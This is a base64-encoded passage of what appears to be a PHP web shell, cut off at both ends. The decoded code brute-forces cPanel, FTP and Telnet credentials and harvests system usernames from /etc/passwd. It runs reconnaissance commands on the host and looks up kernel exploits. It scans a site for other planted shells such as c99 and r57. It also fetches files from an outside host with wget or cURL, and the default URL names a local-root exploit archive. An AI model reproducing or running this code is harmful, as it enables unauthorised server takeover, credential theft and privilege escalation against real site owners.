QoJCQkJCQkJIA0KCQkJCQkJIGlmKCRmaWxlNSA9IGZvcGVuKCJ0ZXN0LnR4dCIsInciKSkNCgkJCQkJCSB7DQoJCQkJCQkJZnB1dHMoJGZpbGU1LCR0ZW1wKTsNCgkJCQkJCQkgZmNsb3NlKCRmaWxlNSk7DQoJCQkJCQkJIA0KCQkJCQkJCSAkZmlsZSA9IGZvcGVuKCJ0ZXN0LnR4dCIsICJyIik7DQoJCQkJCQkJIHdoaWxlKCFmZW9mKCRmaWxlKSkNCgkJCQkJCQkgew0KCQkJCQkJCSAJJHMgPSBmZ2V0cygkZmlsZSk7DQoJCQkJCQkJCSRtYXRjaGVzID0gYXJyYXkoKTsNCgkJCQkJCQkJJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7DQoJCQkJCQkJCSRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7DQoJCQkJCQkJCWlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpDQoJCQkJCQkJCQljb250aW51ZTsNCgkJCQkJCQkJZWNobyAkbWF0Y2hlczsNCgkJCQkJCQl9DQoJCQkJCQkJZmNsb3NlKCRmaWxlKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQkgPz48L3RleHRhcmVhPjwvdGQ+PHRkIGFsaWduPWNlbnRlcj48dGV4dGFyZWEgc3BlbGxjaGVjaz0nZmFsc2UnIGNsYXNzPXRleHRhcmVhX2VkaXQgbmFtZT1wYXNzd29yZCByb3dzPTI1IGNvbHM9MzUgY2xhc3M9Ym94PjwvdGV4dGFyZWE+PC90ZD4NCgkJCTwvdHI+DQoJCQk8dHI+DQoJCQkJPHRkIGFsaWduPWNlbnRlciBjb2xzcGFuPTI+R3Vlc3Mgb3B0aW9ucyA6IDxsYWJlbD48aW5wdXQgbmFtZT0iY3JhY2t0eXBlIiB0eXBlPSJyYWRpbyIgdmFsdWU9ImNwYW5lbCIgY2hlY2tlZD4gQ3BhbmVsKDIwODIpPC9sYWJlbD48bGFiZWw+PGlucHV0IG5hbWU9ImNyYWNrdHlwZSIgdHlwZT0icmFkaW8iIHZhbHVlPSJmdHAiPiBGdHAoMjEpPC9sYWJlbD48bGFiZWw+PGlucHV0IG5hbWU9ImNyYWNrdHlwZSIgdHlwZT0icmFkaW8iIHZhbHVlPSJ0ZWxuZXQiPiBUZWxuZXQoMjMpPC9sYWJlbD48L3RkPg0KCQkJPC90cj4NCgkJCTx0cj4NCgkJCQk8dGQgYWxpZ249Y2VudGVyIGNvbHNwYW49Mj5UaW1lb3V0IGRlbGF5IDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlbGF5IiB2YWx1ZT01IGNsYXNzPXNib3g+PC90ZD4NCgkJCTwvdHI+DQoJCQk8dHI+DQoJCQkJPHRkIGFsaWduPWNlbnRlciBjb2xzcGFuPTI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAgIEdvICAgICIgY2xhc3M9YnV0PjwvdGQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8L2Zvcm0+DQoJCTwvY2VudGVyPg0KCQk8P3BocA0KCQl9DQoJCWVsc2UNCgkJew0KCQkJaWYoZW1wdHkoJF9QT1NUWyd1c2VybmFtZSddKSB8fCBlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pKQ0KCQkJCWVjaG8gIjxjZW50ZXI+UGxlYXNlIEVudGVyIFRoZSBVc2VycyBvciBQYXNzd29yZCBMaXN0PC9jZW50ZXI+IjsNCgkJCWVsc2UNCgkJCXsNCgkJCQkkdXNlcmxpc3Q9ZXhwbG9kZSgiXG4iLCRfUE9TVFsndXNlcm5hbWUnXSk7DQoJCQkJJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkX1BPU1RbJ3Bhc3N3b3JkJ10pOw0KCQ0KCQkJCWlmKCRfUE9TVFsnY3JhY2t0eXBlJ10gPT0gImZ0cCIpDQoJCQkJew0KCQkJCQlmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIpDQoJCQkJCXsNCgkJCQkJCSRwdXJldXNlciA9IHRyaW0oJHVzZXIpOw0KCQkJCQkJZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApDQoJCQkJCQl7DQoJCQkJCQkJJHB1cmVwYXNzID0gdHJpbSgkcGFzc3dvcmQpOw0KCQkJCQkJCWZ0cF9jaGVjaygkX1BPU1RbJ3RhcmdldCddLCRwdXJldXNlciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQkJaWYgKCRfUE9TVFsnY3JhY2t0eXBlJ10gPT0gImNwYW5lbCIgfHwgJF9QT1NUWydjcmFja3R5cGUnXSA9PSAidGVsbmV0IikNCgkJCQl7DQoJCQkJCWlmKCRjcmFja3R5cGUgPT0gInRlbG5ldCIpDQoJCQkJCXsNCgkJCQkJCSRjcGFuZWxfcG9ydD0iMjMiOw0KCQkJCQl9DQoJCQkJCWVsc2UNCgkJCQkJCSRjcGFuZWxfcG9ydD0iMjA4MiI7DQoJCQkJCWZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikNCgkJCQkJew0KCQkJCQkJJHB1cmV1c2VyID0gdHJpbSgkdXNlcik7DQoJCQkJCQllY2hvICI8Yj48Zm9udCBmYWNlPVRhaG9tYSBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9IzAwODAwMD4gWyAtIF0gPC9mb250Pjxmb250IGZhY2U9VGFob21hIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIiBjb2xvcj0jRkYwODAwPg0KCQkJCQkJUHJvY2Vzc2luZyB1c2VyICRwdXJldXNlciAuLi48L2ZvbnQ+PC9iPjxicj48YnI+IjsNCgkJCQkJCWZvcmVhY2ggKCRwYXNzbGlzdCBhcyAkcGFzc3dvcmQgKQ0KCQkJCQkJew0KCQkJCQkJCSRwdXJlcGFzcyA9IHRyaW0oJHBhc3N3b3JkKTsNCgkJCQkJCQljcGFuZWxfY2hlY2soJF9QT1NUWyd0YXJnZXQnXSwkcHVyZXVzZXIsJHB1cmVwYXNzLCRjb25uZWN0X3RpbWVvdXQpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQl9DQogICAgICAgICAgICAgICAgDQogICAgZWNobyAiPC9kaXY+IjsNCn0NCg0KZnVuY3Rpb24gZ2V0X3VzZXJzKCkNCnsNCiAgICAkdXNlcnogPSBhcnJheSgpOw0KICAgICR1c2VyID0gZmlsZSgiL2V0Yy9wYXNzd2QiKTsNCiAgICBmb3JlYWNoKCR1c2VyIGFzICR1c2VyeD0+JHVzZXJzeikNCiAgICB7DQogICAgICAgICAgICAkdXNlcmN0ID0gZXhwbG9kZSgiOiIsJHVzZXJzeik7DQogICAgICAgICAgICBhcnJheV9wdXNoKCR1c2VyeiwkdXNlcmN0WzBdKTsNCiAgICB9DQogICAgaWYoISR1c2VyKQ0KICAgIHsNCiAgICAgICAgaWYoJG9wZCA9IG9wZW5kaXIoIi9ob21lLyIpKQ0KICAgICAgICB7DQogICAgICAgICAgICB3aGlsZSgoJGZpbGUgPSByZWFkZGlyKCRvcGQpKSE9PSBmYWxzZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCR1c2VyeiwkZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgY2xvc2VkaXIoJG9wZCk7DQogICAgfQ0KICAgICR1c2Vyej1pbXBsb2RlKCcsICcsJHVzZXJ6KTsNCiAgICByZXR1cm4gJHVzZXJ6Ow0KfQ0KDQpmdW5jdGlvbiBleHBsb2l0X2RldGFpbHMoKQ0Kew0KICAgIGdsb2JhbCAkb3M7DQogICAgZWNobyAiPGRpdiBpZD1yZXN1bHQgc3R5bGU9J2NvbG9yOmdyZWVuOyc+PGNlbnRlcj4NCiAgICA8aDI+RXhwbG9pdCBTZXJ2ZXIgRGV0YWlsczwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPXRhYmxlIHN0eWxlPSdjb2xvcjpncmVlbjt0ZXh0LWFsaWduOmNlbnRlcic+PHRyPjx0ZD4NCiAgICBPUzogPGEgc3R5bGU9J2NvbG9yOjcxNzFDNjt0ZXh0LWRlY29yYXRpb246bm9uZTsnIHRhcmdldD1fYmxhbmsgaHJlZj0naHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX3BhZ2U9MSZmaWx0ZXJfZGVzY3JpcHRpb249Ii5waHBfdW5hbWUocykuIic+Ii5waHBfdW5hbWUocykuIjwvdGQ+PC90cj4NCiAgICA8dHI+PHRkPlBIUCBWZXJzaW9uIDogPGEgc3R5bGU9J2NvbG9yOjcxNzFDNjt0ZXh0LWRlY29yYXRpb246bm9uZTsnIHRhcmdldD1fYmxhbmsgaHJlZj0nP3BocGluZm8nPiIucGhwdmVyc2lvbigpLiIuPC90ZD48L3RyPg0KICAgIDx0cj48dGQ+S2VybmVsIFJlbGVhc2UgOiA8Zm9udCBjb2xvcj03MTcxQzY+Ii5waHBfdW5hbWUocikuIjwvZm9udD48L3RkPjwvdHI+DQogICAgPHRyPjx0ZD5LZXJuZWwgVmVyc2lvbiA6IDxmb250IGNvbG9yPTcxNzFDNj4iLnBocF91bmFtZSh2KS4iPC9mb250PjwvdGQ+PC90ZD4NCiAgICA8dHI+PHRkPk1hY2hpbmUgOiA8Zm9udCBjb2xvcj03MTcxQzY+Ii5waHBfdW5hbWUobSkuIjwvZm9udD48L3RkPC90cj4NCiAgICA8dHI+PHRkPlNlcnZlciBTb2Z0d2FyZSA6IDxmb250IGNvbG9yPTcxNzFDNj4iLiRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXS4iPC9mb250PjwvdGQ8L3RyPjx0cj4iOw0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpDQogICAgew0KCWVjaG8gIjx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsnPkxvYWRlZCBBcGFjaGUgbW9kdWxlcyA6IDxiciAvPjxiciAvPjxmb250IGNvbG9yPTcxNzFDNj4iOw0KICAgICAgICBlY2hvIGltcGxvZGUoJywgJywgYXBhY2hlX2dldF9tb2R1bGVzKCkpOw0KICAgICAgICBlY2hvICI8L2ZvbnQ+PC90cj48L3RkPiI7DQogICAgfQ0KICAgIGlmKCRvcz09J3dpbicpDQogICAgew0KICAgICAgICBlY2hvICAiPHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Oyc+QWNjb3VudCBTZXR0aW5nIDogPGZvbnQgY29sb3I9NzE3MUM2PjxwcmU+Ii5jbWQoJ25ldCBhY2NvdW50cycpLiI8L3ByZT48L3RkPjwvdHI+DQogICAgICAgICAgICAgICA8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQnPlVzZXIgQWNjb3VudHMgOiA8Zm9udCBjb2xvcj03MTcxQzY+PHByZT4iLmNtZCgnbmV0IHVzZXInKS4iPC9wcmU+PC90ZD48L3RyPg0KICAgICAgICAgICAgICAgIjsNCiAgICB9DQogICAgaWYoJG9zPT0nbml4JykNCiAgICB7DQogICAgICAgIGVjaG8gIjx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+RGlzdHJvIDogPGZvbnQgY29sb3I9NzE3MUM2PjxwcmU+Ii5jbWQoJ2NhdCAvZXRjLyotcmVsZWFzZScpLiI8L3ByZT48L2ZvbnQ+PC90ZD48L3RyPg0KICAgICAgICAgICAgICA8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQnPkRpc3RyIG5hbWUgOiA8Zm9udCBjb2xvcj03MTcxQzY+PHByZT4iLmNtZCgnY2F0IC9ldGMvaXNzdWUubmV0JykuIjwvcHJlPjwvZm9udD48L3RkPjwvdHI+DQogICAgICAgICAgICAgIDx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+R0NDIDogPGZvbnQgY29sb3I9NzE3MUM2PjxwcmU+Ii5jbWQoJ3doZXJlaXMgZ2NjJykuIjwvcHJlPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgPHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz5QRVJMIDogPGZvbnQgY29sb3I9NzE3MUM2PjxwcmU+Ii5jbWQoJ3doZXJlaXMgcGVybCcpLiI8L3ByZT48L3RkPjwvdHI+DQogICAgICAgICAgICAgIDx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+UFlUSE9OIDogPGZvbnQgY29sb3I9NzE3MUM2PjxwcmU+Ii5jbWQoJ3doZXJlaXMgcHl0aG9uJykuIjwvcHJlPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgPHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz5KQVZBIDogPGZvbnQgY29sb3I9NzE3MUM2PjxwcmU+Ii5jbWQoJ3doZXJlaXMgamF2YScpLiI8L3ByZT48L3RkPjwvdHI+DQogICAgICAgICAgICAgIDx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+QVBBQ0hFIDogPGZvbnQgY29sb3I9NzE3MUM2PjxwcmU+Ii5jbWQoJ3doZXJlaXMgYXBhY2hlJykuIjwvcHJlPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgPHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Oyc+Q1BVIDogPGJyIC8+PGJyIC8+PHByZT48Zm9udCBjb2xvcj03MTcxQzY+Ii5jbWQoJ2NhdCAvcHJvYy9jcHVpbmZvJykuIjwvZm9udD48L3ByZT48L3RkPjwvdHI+DQogICAgICAgICAgICAgIDx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+UkFNIDogPGZvbnQgY29sb3I9NzE3MUM2PjxwcmU+Ii5jbWQoJ2ZyZWUgLW0nKS4iPC9wcmU+PC90ZD48L3RyPg0KICAgICAgICAgICAgICA8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQnPiBVc2VyIExpbWl0cyA6IDxiciAvPjxiciAvPjxmb250IGNvbG9yPTcxNzFDNj48cHJlPiIuY21kKCd1bGltaXQgLWEnKS4iPC9wcmU+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICR1c2VmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7DQogICAgICAgICAgICAgICR1emU9YXJyYXkoKTsNCiAgICAgICAgICAgICAgZm9yZWFjaCgkdXNlZnVsIGFzICR1emVmdWwpDQogICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZihjbWQoIndoaWNoICR1emVmdWwiKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR1emVbXT0kdXplZnVsOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQnPlVzZWZ1bCA6IDxiciAvPjxmb250IGNvbG9yPTcxNzFDNj48cHJlPiI7DQogICAgICAgICAgICAgIGVjaG8gaW1wbG9kZSgnLCAnLCR1emUpOw0KICAgICAgICAgICAgICBlY2hvICI8L3ByZT48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7DQogICAgICAgICAgICAgICR1emU9YXJyYXkoKTsNCiAgICAgICAgICAgICAgZm9yZWFjaCgkZG93bmxvYWRlcnMgYXMgJGRvd25sb2FkZXIpDQogICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZihjbWQoIndoaWNoICRkb3dubG9hZGVyIikpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkdXplW109JGRvd25sb2FkZXI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+RG93bmxvYWRlcnMgOiA8YnIgLz48Zm9udCBjb2xvcj03MTcxQzY+PHByZT4iOw0KICAgICAgICAgICAgICBlY2hvIGltcGxvZGUoJywgJywkdXplKTsNCiAgICAgICAgICAgICAgZWNobyAiPC9wcmU+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+VXNlcnMgOiA8YnIgLz48Zm9udCBjb2xvcj03MTcxQzY+PHByZT4iLndvcmR3cmFwKGdldF91c2VycygpKS4iPC9wcmU8L2ZvbnQ+PjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz5Ib3N0cyA6IDxiciAvPjxmb250IGNvbG9yPTcxNzFDNj48cHJlPiIuY21kKCdjYXQgL2V0Yy9ob3N0cycpLiI8L3ByZT48L2ZvbnQ+PC90ZD48L3RyPiI7DQogICAgfQ0KICAgIGVjaG8gIjwvdGFibGU+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+IjsNCn0NCg0KZnVuY3Rpb24gcmVtb3RlX2ZpbGVfY2hlY2tfdWkoKQ0Kew0KICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlJlbW90ZSBGaWxlIENoZWNrPC9oMj48aHIgLz48YnIgLz48YnIgLz4NCiAgICAgICAgICA8dGFibGUgY2xhc3M9dGJsPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRyPjx0ZD5VUkwgOiA8aW5wdXQgc2l6ZT01MCBuYW1lPSdyZW1fd2ViJyB2YWx1ZT0naHR0cDovL3d3dy5haml0aGtwNTYwLmhvc3RlaS5jb20vcGhwLyc+PC90ZD48L3RyPg0KICAgICAgICAgIDx0cj48dGQ+PGZvbnQgY29sb3I9cmVkPklucHV0IEZpbGUncyBOYW1lcyBpbiBUZXh0QXJlYTwvZm9udD48L3RyPjwvdGQ+PHRyPjx0ZD48dGV4dGFyZWEgc3BlbGxjaGVjaz0nZmFsc2UnIGNsYXNzPSd0ZXh0YXJlYV9lZGl0JyBjb2xzPTUwIHJvd3M9MzAgbmFtZT0ndHJ5enp6Jz5QSUtBU0tZIC5waHANCmFqaXRoa3A1NjAucGhwDQppbmRleC5odG1sDQpwcm9maWxlLnBocA0KYzk5LnBocA0KcjU3LnBocDwvdGV4dGFyZWE+PC90ZD48L3RyPg0KICAgICAgICAgPHRyPjx0ZD48YnIgLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4gICAnIGNsYXNzPSdpbnB1dF9iaWcnIC8+PGJyIC8+PGJyIC8+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPiI7DQp9DQoNCmZ1bmN0aW9uIHJlbW90ZV9maWxlX2NoZWNrX2JnKCkNCnsNCiAgICBzZXRfdGltZV9saW1pdCgwKTsNCiAgICAkcnRyPWFycmF5KCk7DQogICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+U2Nhbm5lciBSZXBvcnQ8L2gyPjxociAvPjxiciAvPjxiciAvPjx0YWJsZSBjbGFzcz10Ymw+IjsNCiAgICAkd2Viej0kX1BPU1RbJ3JlbV93ZWInXTsNCiAgICAkdXJpX2luPSRfUE9TVFsndHJ5enp6J107DQogICAgJHJfeHVyaSA9IHRyaW0oJHVyaV9pbik7DQogICAgJHJfeHVyaT1leHBsb2RlKCJcbiIsICRyX3h1cmkpOw0KICAgIGZvcmVhY2goJHJfeHVyaSBhcyAkcnR5KQ0KICAgIHsNCiAgICAgICAgJHVybHp6eD0kd2Viei4kcnR5Ow0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQnPjxmb250IGNvbG9yPW9yYW5nZT5DaGVja2luZyA6IDwvZm9udD4gPGZvbnQgY29sb3I9NzE3MUM2PiAkdXJsenp4IDwvZm9udD48L3RkPiI7DQogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoJHVybHp6eCk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfTk9CT0RZLCB0cnVlKTsNCiAgICAgICAgICAgIGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgICAgJHN0YXR1c19jb2RlPWN1cmxfZ2V0aW5mbygkY2gsIENVUkxJTkZPX0hUVFBfQ09ERSk7DQogICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgICAgICAgICBpZigkc3RhdHVzX2NvZGU9PTIwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+PGZvbnQgY29sb3I9Z3JlZW4+IEZvdW5kLi4uLjwvZm9udD48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+PGZvbnQgY29sb3I9cmVkPk5vdCBGb3VuZC4uLjwvZm9udD48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5jVVJMIE5vdCBGb3VuZCA8L2ZvbnQ+IjsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gIjwvdGFibGU+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+PC9kaXY+IjsNCn0NCg0KZnVuY3Rpb24gcmVtb3RlX2Rvd25sb2FkX3VpKCkNCnsNCiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5SZW1vdGUgRmlsZSBEb3dubG9hZDwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPXRibD48Zm9ybSBtZXRob2Q9J0dFVCc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J3BhdGgnIHZhbHVlPSIuZ2V0Y3dkKCkuIj48dHI+PHRkPjxzZWxlY3Qgc3R5bGU9J2NvbG9yOmdyZWVuOyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyBib3JkZXI6MXB4IHNvbGlkICM2NjY7JyBuYW1lPSd0eXBlX3JfZG93bic+PG9wdGlvbj5XR0VUPC9vcHRpb24+PG9wdGlvbj5jVVJMPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPg0KICAgIDx0cj48dGQ+VVJMIDxpbnB1dCBzaXplPTUwIG5hbWU9J3J1cmxmaWxlJyB2YWx1ZT0nYWppdGhrcDU2MC5ob3N0ZWkuY29tL2xvY2Fscm9vdC8yLjYueC9oMDBseXNoaXQuemlwJz48L3RkPjwvdHI+DQogICAgPHRyPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyBjbGFzcz0naW5wdXRfYmlnJyB2YWx1ZT0nICAgPj4gICAnIC8+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPjwvZGl2PiI7DQp9DQoNCmZ1bmN0aW9uIHJlbW90ZV9kb3dubG9hZF9iZygpDQp7DQogICAgY2hkaXIoJF9HRVRbJ3BhdGgnXSk7DQogICAgZ2xvYmFsICRvczsNCiAgICAkb3B0PSRfR0VUWyd0eXBlX3JfZG93biddOw0KICAgICRydF9mZmlsZT0kX0dFVFsncnVybGZpbGUnXTsNCiAgICAkbmFtZT1iYXNlbmFtZSgkcnRfZmZpbGUpOw0KICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PiI7DQogICAgc3dpdGNoKCRvcHQpDQogICAgew0KICAgICAgICBjYXNlICJXR0VUIjoNCiAgICAgICAgICAgIGlmKCRvcyE9J3dpbicpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgY21kKCJ3Z2V0ICRydF9mZmlsZSIpOw0KICAgICAgICAgICAgICAgIGFsZXJ0KCJEb3dubG9hZGVkIFN1Y2Nlc3NmdWxseS4uLiIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGFsZXJ0KCJJdHMgV2luZG93cyBPUy4uLiBXR0VUIGlzIG5vdCBhdmFpbGFibGUiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICJjVVJMIjoNCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCRydF9mZmlsZSk7DQogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsNCiAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkbmFtZSwgJGRhdGEpOw0KICAgICAgICAgICAgICAgIGFsZXJ0KCJEb3dubG9hZCBzdWNjZWVkZWQiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBhbGVydCgiY1VSTCBOb3QgQXZhaWxhYmxlIik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBicmVhazsNCiAgICB9DQogICAgZWNobyAiPC9kaXY+IjsNCn0NCg0KZnVuY3Rpb24gaGV4X2VuY29kZV91aSgpDQp7DQogICAgaWYoaXNzZXQoJF9SRVFVRVNUWydoZXhpbnAnXSkgJiYgaXNzZXQoJF9SRVFVRVNUWyd0eXh4eCddKSkNCiAgICB7DQogICAgICAgICR0eXg9JF9QT1NUWyd0eXh4eCddOw0KICAgICAgICAkcmV6dWx0eno9JF9QT1NUWydoZXhpbnAnXTsNCiAgICAgICAgc3dpdGNoKCR0eXgpDQogICAgICAgIHsNCiAgICAgICAgICAgIGNhc2UgIkVuY29kZSI6DQogICAgICAgICAgICAgICAgJHJ6dWw9UFJFR19SRVBMQUNFKCInKC4pJ2UiLCJkZWNoZXgob3JkKCdcXDEnKSkiLCRyZXp1bHR6eik7DQogICAgICAgICAgICAgICAgZWNobyAiPGRpdiBpZD1yZXN1bHQ+PGNlbnRlcj48aDI+SEVYQURFQ0lNQUwgRU5DT0RFUjwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+DQogICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSd0ZXh0YXJlYV9lZGl0JyBzcGVsbGNoZWNrPWZhbHNlIGNvbHM9NjAgcm93cz0xMD4kcnp1bDwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdQT1NUJz48c2VsZWN0IHN0eWxlPSdjb2xvcjpncmVlbjsgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgYm9yZGVyOjFweCBzb2xpZCAjNjY2OycgbmFtZT0ndHl4eHgnPjxvcHRpb24+RW5jb2RlPC9vcHRpb24+PG9wdGlvbj5EZWNvZGU8L29wdGlvbj48L3NlbGVjdD4NCiAgICAgICAgICAgICAgICBJbnB1dCA6IDxpbnB1dCBuYW1lPSdoZXhpbnAnIHNpemU9NTAgdmFsdWU9J2lucHV0IGhlcmUnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0